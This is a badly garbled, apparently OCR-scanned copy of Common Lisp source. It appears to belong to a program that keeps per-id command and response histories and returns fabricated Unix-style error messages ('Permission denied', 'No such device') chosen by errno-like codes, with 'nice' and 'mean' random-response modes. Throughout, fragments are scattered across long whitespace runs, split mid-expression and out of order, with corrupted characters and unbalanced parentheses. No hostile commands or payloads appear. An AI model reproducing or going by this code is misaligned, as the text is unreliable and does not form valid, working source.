                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (id)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              9
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  (length history))
                                                                                                                                                                                                                                                                                                                                                                                                                                                             (id &aux struct)
                                                                                                                                                                                        struct))
                                                                                                                                                                                                                                                                                                                                                                                                        id *responsetable*))
                                                                                                                     struct))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     μd
                                                                                                                     ; Mood
                                                                                                                                                                                        ;Type of response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        trouble-count)
                                                                                                                                                                                                                                                                                                            ;Command the response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     'command)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 (return nil))
                                                                                                                     the brain's
                      ;Track history of
                                                                                                                     'n
                                                                                                                     for that
                                                                                                                                                                                                                                                                                                               Was
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             1+
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     .
С
                                                                                                                                                                                                                                                                                                                                                             element_count)))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 :initial-contents hist)))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              response-history struct))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              struct))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     command-history
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 (defun remember-history (id history-to-load)
                                                                                                                                                                                            (defun found-in-history (id command history-type)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             initial-contents hist)))
                                                                                                                                                                  (defun last-instance (id command)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (prog (history hsize count element responses)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            (prog (history hsize count element element_count)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            (prog (hist harray struct)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 (internal book-keeping)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            used. (internal book-keeping)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     responses have
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  (princ "Response History: ")
                                                                                                                                                                                                                                                                                                                                                                                                                                                     (setq element_count 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           (if (null (response-command-history struct))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (return harray)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 (return t)
                                           (if (null responses)
                                                                                        (if (null history) (return nil))
                                                                                                                                                                                                                                                                                     (if (< count hsize) (go again))
                                                                                                                                                                                                                                                                                                                                                                                   (if (equal element command)
                                                                                                                                                                                                                                                                                                                                                                                                        (setq element (aref history count))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  (setq count
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          (setq hsize
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (if (null history) (return nil))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        (setq history (remember-history id history-type))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          cond ((equal history-to-load 'command)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    (if (null (response-response-history struct)) (return nil))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (setq struct (gethash id *responsetable*))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       (terpri
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           [prin1 (response-response-history struct)) ;Track history of
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              terpri
                      setq hsize
                                                                  setq responses (remember-history
                                                                                                                   setq history
                                                                                                                                                                                                                                                                                                                                    (setq count (1+ count))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     ((equal history-to-load 'response)
                                                                                                                                                                                                                                                              (= element_count 0) (return nil))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             9
                    (length history))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       (length history)
                                                                                                                 (remember-history id 'command))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  (setq harray (make-array (length hist)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   setq harray (make-array (length hist)
                                           (return nil)
                                                                                                                                                                                                                                                                                                                                                                                 (setq element_count (1+
                                                                  id 'response)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     (setq hist (response-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           (setq hist (response-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         (return nil))
```

```
nil "~:A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               downcase
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               permitted" (string-downcase
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                directory" (string-
                                              (string-downcase (format nil "~: A" command)))))
                                                                                                                                                                                                                                                                                               downcase
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              (format nil "~:A" command))))))
                                                                                               (format nil "~:A" command)))))
                                                                                                                                                                                                                                                                                                                                                            (string-downcase
                                                                                                                                                                                                                                                                                                                                                                                                (format nil "~:A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                (string-downcase (format
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              (defun failure-for-errno (x command)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (defun rand-resp
 (format nil "~:A" command))))))
                (string-downcase
                                                                                                                                                                                                              (string-downcase
                                                                                                                                                                                                                                                                                                                                              (format nil "~:A" command)))))
                                                                                                                                                                                                                                                                                                                                                                                                              (string-downcase
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (string-downcase
                                                                                                                                                              (string-downcase
                                                                                                                                                                                                                                                               (string-downcase
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 format nil "~:A" command)))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            (prog ()
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (prog ()
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (cond
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              (if (equal element command)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (setq element (aref history count))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (cond ((= x -1))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (if (< count hsize)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (setq count (1+ count))
                                                                                                                                                                                              nil "~:A" command)))))
                                                                                                                                                                                                                                             nil "~:A" command))))))
                                                                                                                                                                                                                                                                                             (format nil "~:A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (format nil
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                7
                                                                                                                                                                                                                                                                                                           (string-
                                                                                                                              ( = x -10)
                                                                                                                                                                                                                                                                                                                                                                                                                                ((= x - 4))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (equal
                                                                                                                                                                                                                               ( = x - 8 )
                                                                                                                                                                                                                                                                                                                                                                               ( = x - 5)
                                ((= x - 12)
                                                                               ((= x - 11)
                                                                                                                                                                              ((= x - 9))
                                                                                                                                                                                                                                                                                ((= x - 7)
                                                                                                                                                                                                                                                                                                                                 (= x -6)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              ((equal mode 'nice)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              mode 'mean)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (mode)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (return -1))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "~: A" command))))))
                                                                              (return (format nil "~A:
                                                                                                                                                                                                                               (return (format nil
                                                                                                                                                                                                                                                                                                                             (return (format nil
                                                                                                                               (return
                                                                                                                                                                                                                                                                              (return (format nil
                                                                                                                                                                                                                                                                                                                                                                               (return (format nil "~A:
                                                                                                                                                                                                                                                                                                                                                                                                                               (return (format nil "~A:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (return (format nil
                                (return (format nil "~A: Cannot allocate memory"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 (return (format nil
                                                                                                                                                                            (return (format nil
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              (return (format nil "~A: Operation not
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (go
                                                                                                                                (format nil
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               again))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              ice) (return (- 0 (random 1 (return (- 0 (+ 124 (random
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (return
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             ;x = response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                •~A:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 "~A:
                                                                                                                                •~A:
                                                                                                                                                                                -A:
                                                                                                                                                                                                                                "~A:
                                                                                                                                                                                                                                                                                                                                 .~A:
                                                                                                                                                                                                                                                                              "~Ä:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (aref responses count)))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                No
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                ö
                                                                                                                                ö
                                                                                                                                                                                                                                Exec
                                                                                                                                                                                                                                                                                                                                                                              Inpur/output error*
                                                                               Resource
                                                                                                                                                                                                                                                                              Argument list too long"
                                                                                                                                                                                                                                                                                                                                 No such device
                                                                                                                                                                                                                                                                                                                                                                                                                               Interrupted
                                                                                                                                                                               Bad file descriptor"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                such
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                such
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (random 124))))
                                                                                                                                child
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                type
                                                                                                                                                                                                                                format error"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                               process'
                                                                                                                              processes.
                                                                              temporarily
                                                                                                                                                                                                                                                                                                                                                                                                                              system call*
                                                                                                                                                                                                                                                                                                                                 ç
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               downcase (format
nil "~:A" command)))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               nil "~: A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               downcase (format nil "~:A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              downcase
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (string-downcase
(format nil "~:A" command)))))
                                                                                                                                                                                                                                                                                                                                                                                                system"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               downcase (format
                                                                                                                                                                                              downcase (format
                                                                                                                                                                                                                             nil "~:A" command))))))
                                                                                                                                                                                                                                                                                               device"
                                                                                                                                                                                                                                                                                                                                                                                downcase
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              (format nil "~:A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               link" (string-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (string-downcase
                                                                               nil "~:A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                (format nil "~:A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                 (string-downcase
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (string-downcase
                                                                                                                                                                                                                                                                                                                                               (string-downcase
                                (format nil "~:A" command))))))
                                               string-downcase
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               nil "~: A" command))))))
                                                                                                                                                                                                                                                                                                                                 nil "~:A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                               (string-
                                                                                                                                                                                                                                                                                               (string-
                                                                                                (format
                                                                                                                                                                                                                                              (format
                                                                                                                                                                                                                                                                                (format nil
                                                                                                                                                                                                                                                                                                                                                                             (format nil "~: A" command)))))
                                                                                                                                                                                                                                                                                                                                                                                                               ((= x -23)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (format nil "~:A" command))))))
(format
                                                                                                                               (format nil "~:A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                               ((= x -22) (return (format nil "~A: Invalid
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (tormat
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                ((= x - 16))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                ((= x - 15))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 (= x - 14)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                ((= x - 13))
                                                                                                                                                               ((= x - 28)
                                                                                                                                                                              command)))))))
                                                                                                                                                                                                                                                                                                                ((= x - 25))
                                                                                                                                                                                                                                                                                                                                                                ((= x - 24)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                ((= x - 21))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (= x - 20)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                ((= x - 19))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  command))))))
                                                                                                                                                                                                               ((= x - 27)
                                                                                                                                                                                                                                                               ((= x - 26))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (= x - 17)
                                                             ( (= x=-30)
                  (= x - 31)
                                                                                                                (= x - 29)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (return (format nil
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (return (format nil
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (return (format nil
                                                                                                                                                                                                                                                                                                             (return (format nil
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 (return
                                                                                                                                                                                                                                                                              "~:A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              (return (format nil
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              (return (format nil
                                                                                                                                                                                                                                                                                                                                                                                                             (return (format nil
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (return
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            (return (format nil
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (return (format nil
                                                                                                                (return (format nil
                                                                                                                                                               (return (format nil
                                                                                                                                                                                                                (return
                                                                                                                                                                                                                                                               (return (format nil "~A: Text file busy"
                                                                                                                                                                                                                                                                                                                                                                (return
               (return
                                                               (return (format nil "~A: Read-only file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 (format nil
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  (format nil "~A: Permission
                                                                                                                                                                                                               (format nil "~A: File too large"
                                                                                                                                                                                                                                                                                                                                                                (format nil
                (format nil "~A:
                                                                                                              "~A:
                                                                                                                                                                                                                                                                                                                .~A:
                                                                                                                                                                                                                                                                                                                                                                                                                 .~A:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                .~A:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                •~A:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 .~A:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                •~A:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                ~A:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 ~A:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 "~A:
                                                                                                                                                                                                                                                                                                                                                                 -A:
                                                                                                                                                               "-A:
                                                                                                                                                                                                                                                                                                                                                                                                              Too
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               Not a
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               File
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 Block
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 Bad
                                                                                                                                                                                                                                                                                                                                                              Too
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               Device or resource busy"
                                                                                                                                                                                                                                                                                                            Inappropriate ioctl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                S
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                No such device"
                Too many links" (string-
                                                                                                                Illegal
                                                                                                                                                               ö
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               Invalid
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Ø
                                                                                                                                                              space
                                                                                                                                                                                                                                                                                                                                                                                                               many
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 address"
                                                                                                                                                                                                                                                                                                                                                              many
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                directory"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               exists"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 device
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                directory'
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 cross-device
                                                                                                                                                                                                                                                                                                                                                                                                                                                               argument'
                                                                                                                seek"
                                                                                                                                                                                                                                                                                                                                                              open
                                                                                                                                                                                                                                                                                                                                                                                                               open files
                                                                                                                                                               left
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  denied"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              required"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (string-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (string-
                                                                                                                                                               on device
                                                                                                              (string-
                                                                                                                                                                                                                                                                                                                                                                 files*
                                                             system,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (string-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (string-
                                                                                                                                                                                                               (string-
                                                                                                                                                                                                                                                               (string-
                                                                                                                                                                                                                                                                                                                for
                                                                                                                                                                                                                                                                                                                                                                                                                 ä
```

format"

မ္

(string-

(string

(string-

```
downcase
nil "~:A"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             downcase (format nil
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 state" (string-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       downcase
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         network"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 defined data type"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nil "~:A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           downcase
                                                                                                                                                                                                                                                                                                                                                                                                                                               shared library"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           (string-downcase (format nil "~:A" command)))))
((= x -76) (return (format nil "~A: N
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         downcase
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            send" (string-
                                                                          restarted" (string-downcase (format nil "~: A"
                                                                                                                                                                                                                                                                                                                                                                                       shared library"
                                                                                                                                                                                                                                                                                                                                                                                                                          (string-downcase (format nil "~:A" command))))))
                                                                                                                                  character" (string-downcase (format nil "~: A"
                                                                                                                                                                                                                                                  libraries" (string-downcase (format nil "~:A" command))))))
                                                                                                                                                                                                                                                                     too many shared
                                                                                                                                                                                                                                                                                                                             corrupted"
                                                                                                                                                                                                                                                                                                                                                                (string-downcase (format nil "~:A" command)))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (format nil "~:A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       (format nil "~:A" command))))))
                  (format nil "~:A" command))))))
                                                                                                                                                      multibyte or wide
                                                                                                                                                                                         (string-downcase (format nil "~:A" command))))))
                                                                                                                                                                                                              library directly"
                                                                                                                                                                                                                                                                                                         (string-downcase (format nil "~: A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           (string-downcase
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           (format nil "~:A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         string-downcase
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   nil "~: A" command))))))
                                                                                                                                                                                                                                ((= x - 83))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           (format
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         (format nil "~:A" command())))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       (format nil "~:A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (format
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          (string-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   ((= x - 75)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           ((= x - 74)
                                                                                                                                                                                                                                                                                        ( = x - 82)
                                                                                                                                                                                                                                                                                                                                                 ((= x - 81)
                                                                                                                                                                                                                                                                                                                                                                                                       ( (= x - 80) 
                                                                                                                                                                                                                                                                                                                                                                                                                                                                 ((= x - 79)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            ( = x - 78)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   ((= \times -77)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     ((= x -73)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             ((= x - 72)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       ((= \times -71)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  command))))))
                                                                                                                (= x - 85)
                                                                                                                                                                       (= x - 84)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           "~: A" command))))))
                                                                                                                                                                                                                                                                                        (return
                                                                                                                                                                                                                                                                                                                                                                                                       (return (format nil "~A: Accessing
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         (return (format nil "~A:
                                                                                                                                                                                                                               (return
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          (return (format nil "~A:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     (return (format
                                                                                                                                                                                                                                                                                                                                                 (return
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (return (format nil "-A: Value too
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      (return (format nil
                                                                                                                                                                       (return
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (return (format nil "~A: File
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            (return (format
                                                                                                                (return
                                                                                                                                                                                                                                                                                                                                                                                                                                                                 (return
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            (return (format nil
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (return (format nil
                                                                                                              (format nil "~A:
                                                                                                                                                                        (format nil "~A:
                                                                                                                                                                                                                               (format nil "-A:
                                                                                                                                                                                                                                                                                                                                                 (format nil "~A: .lib section
                                                      (format nil "-A:
                                                                                                                                                                                                                                                                                       (format nil "-A: Attempting
                                                                                                                                                                                                                                                                                                                                                                                                                                                                 (format nil "~A: Can
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     ni1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               ni1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 •~A:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     "~A:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               "~A:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         "~A:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           "~A: Remote address changed"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Multihop
